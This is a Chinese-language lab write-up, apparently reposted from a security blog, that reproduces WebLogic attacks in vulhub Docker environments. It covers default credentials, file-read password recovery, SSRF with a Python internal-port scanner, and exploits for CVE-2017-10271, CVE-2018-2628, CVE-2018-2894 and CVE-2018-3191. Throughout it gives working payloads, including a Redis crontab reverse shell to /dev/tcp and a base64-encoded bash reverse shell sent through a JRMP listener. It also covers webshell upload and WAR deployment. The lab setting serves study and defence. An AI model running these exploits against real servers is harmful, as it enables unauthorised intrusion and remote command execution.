About WebLogic
WebLogic是美商Oracle的主要产品之一，系购并得来。是商业市场上主要的Java（J2EE）应用服务器软件（application server）之一，是世界上第一个成功商业化的J2EE应用服务器，目前已推出到12c（12.1.1）版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件（但目前Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包），以及OEPE（Oracle Enterprise Pack for Eclipse）开发工具。
———— 引自 wikipedia
类似于一个Tomcat Apche之类的webserver，但是拥有更多集成的开发、集成、部署和管理功能。
常开放于7001/7002端口
漏洞环境来自于vulhub https://github.com/vulhub/vulhub/tree/master/weblogic
weak_password
访问/console会转跳到管理员的登录界面
这里提供了两种方法进行进入后台，一个是弱口令，还有就是配合任意文件读取破解密码
弱口令的话没什么技巧可言，但也是实战中比较重要的一种方式，这里账号密码为
l 账号：weblogic
l 密码：Oracle@123
配合任意文件读取的话这里提供了一个http://your-ip:7001/hello/file.jsp?path=任意文件读取点，需要读取两个文件（当前目录为/root/Oracle/Middleware/user_projects/domains/base_domain）
./security/SerializedSystemIni.dat 并将获取到的二进制字符保存到文件中
./config/config.xml获取到node-manager-password-encrypted这个字段下的值
由于加密的算法是基于对称加密的，所以可以破解出原密码（工具在网上也不难找到
这样就可以顺利登录到网站后台了，然后就是部署一个包含自己马的war包（没有jsp马的我默默问大佬要了个马
linux下可以直接用命令打包war包
| 1 | jar -cvf [war**包名] [目录名]** |
|---|---|
然后部署war包
访问http://your-ip:7001/web/web/xxx.jsp即可访问到上传的马
SSRF
漏洞产生于/uddiexplorer/SearchPublicRegistries.jsp页面中，可以导致ssrf，用来攻击内网中一些redis和fastcgi之类的脆弱组件
当http端口存活的时候就会显示404not found
随机访问一个端口则会显示could not connect
一个非http的协议则会返回did not have a valid SOAP，不存活的主机就是No route to host
访问redis服务时
攻击内网redis
一个简单的内网扫扫描
import requestsurl =”http://192.168.85.133:7001/uddiexplorer/SearchPublicRegistries.jsp"ports =[6378,6379,22,25,80,8080,8888,8000,7001,7002]for i inrange(1,255):for port in ports: params =dict( rdoSearch =”name”, txtSearchname =”sdf”, selfor =”Business+location”, btnSubmit =”Search”, operator =”http://172.23.0.{}:{}".format(i,port))try: r = requests.get(url, params=params, timeout =3) except: pass if’could not connect over HTTP to server’ not in r.text and ‘No route to host’ not in r.text:print(‘[*] http://172.23.0.{}:{}'.format(i,port))else: pass#print(‘[-] http://172.23.0.{}:{}'.format(i,port))
扫描结果
[] http://172.23.0.1:80[] http://172.23.0.1:7001[*] http://172.23.0.2:6379[*] http://172.23.0.3:7001
172.23.0.1是我本地虚拟机，就可以忽略，6379就是很熟悉的redis了
写如定时命令，详细攻击redis可以参考下 https://www.kingkk.com/2018/08/redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E4%B8%8Essrf%E5%88%A9%E7%94%A8/
set1”\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.23.0.1/21 0>&1\n\n\n\n”config set dir /etc/config set dbfilename crontabsave
转换成url格式，然后传输
在虚拟机中用nc监听端口
nc -l -p 1234
过一会就能看到反弹回来的shell
业务无需UUDI功能时建议将其关闭
反序列化 CVE-2017-10271
Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
漏洞发生在/wls-wsat/CoordinatorPortType页面中，它会将传入的xml语句进行解析、然后反序列化，造成任意代码执行
构造如下的http包，在sub中传入所需的命令即可命令执行
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host:192.168.85.133:7001User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: text/xmlContent-Length: 544Connection: closeUpgrade-Insecure-Requests: 1 /bin/bash-csub
我这由于是在虚拟机中搭建的，就弹了个sublime框
需要注意的是Content-Type要设置成text/xml否则不会解析xml
反序列化 CVE-2018-2628
首先需要一个ysoserial
启动一个JRMP Server，[listen port] 为监听的端口 [ommand]为想要执行的命令
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
如我这为
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 23333 CommonsCollections1 ‘touch /tmp/evil’
运行exp
python exploit.py [victim ip][victim port][path to ysoserial][JRMPListener ip][JRMPListener port][JRMPClient]
l [victim ip]： weblogic ip
l [victim port]：weblogic 端口
l [path to ysoserial]：ysoserial地址
l [JRMPListener ip]：JRMP Server的ip
l [JRMPListener port]：JRMP Server的端口
l [JRMPClient]：有JRMPClient或JRMPClient2两个选项
python 44553.py 127.0.0.17001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.85.13323333 JRMPClient
然后进入虚拟机内部之后，就可看到tmp目录下生成的evil文件
复现的时候有几个小问题，JRMP Server的ip需要填本地主网卡（用于上网的那个）的ip
然后在物理机上攻击虚拟机中映射出来的docker环境不知道为什么没有成功
以及自己在虚拟机上搭建的weblogic10.3.6貌似也没有成功。。
任意文件上传 CVE-2018-2894
访问/ws_utc/config.do页面可以设置工作目录，将其设置为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然后在安全->添加处上传一个小马
在返回的数据包中有文件的id值
然后访问/ws_utc/css/config/keystore/[id]_[filename]即可访问到文件
这个漏洞有个限制条件就是需要在开发模式下进行，否生产模式时需要进行认证登录
CVE-2018-3191
更新于2018/10/31
听说最近又出了一个危害比较大的漏洞，遂复现了一下。和之前一样，需要weblogic开启T3协议
nmap -n -v -Pn -sV 192.168.85.144–script=weblogic-t3-info.nse
需要一些准备的工具，具体可看这里https://github.com/jas502n/CVE-2018-3191
需要先生成一个payload
java -jar weblogic-spring-jndi-10.3.6.0.jar rmi://攻击机ip:端口/exp > payload
java -jar weblogic-spring-jndi-10.3.6.0.jar rmi://172.20.0.1:8888/exp > payload
开启一个rmi服务
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections1 “要执行的指令”
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8888 Commonollections1 “bash -c {echo,L2Jpbi9iYXNoIC1pID4gL2Rldi90Y3AvMTcyLjIwLjAuMS83Nzc3IDA8JjEgMj4mMQ==}|{base64,-d}|{bash,-i}”
这里将shell弹到了本地的7777端口，用nc监听一下
| 1 | nc -lnvp 7777 |
|---|---|
发送攻击流量
| 1 | python weblogic.py 172.20.0.2 7001 payload |
|---|---|
同时rmi服务会接受到172.20.0.2的流量
成功getshell
C#从入门到入土全套教学
https://pan.baidu.com/s/1D3pvm4U1F3IsJfydHz-3hA
提取密码：uq94
来源：kingkk博客
FROM :b0urne.top | Author:b0urne
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论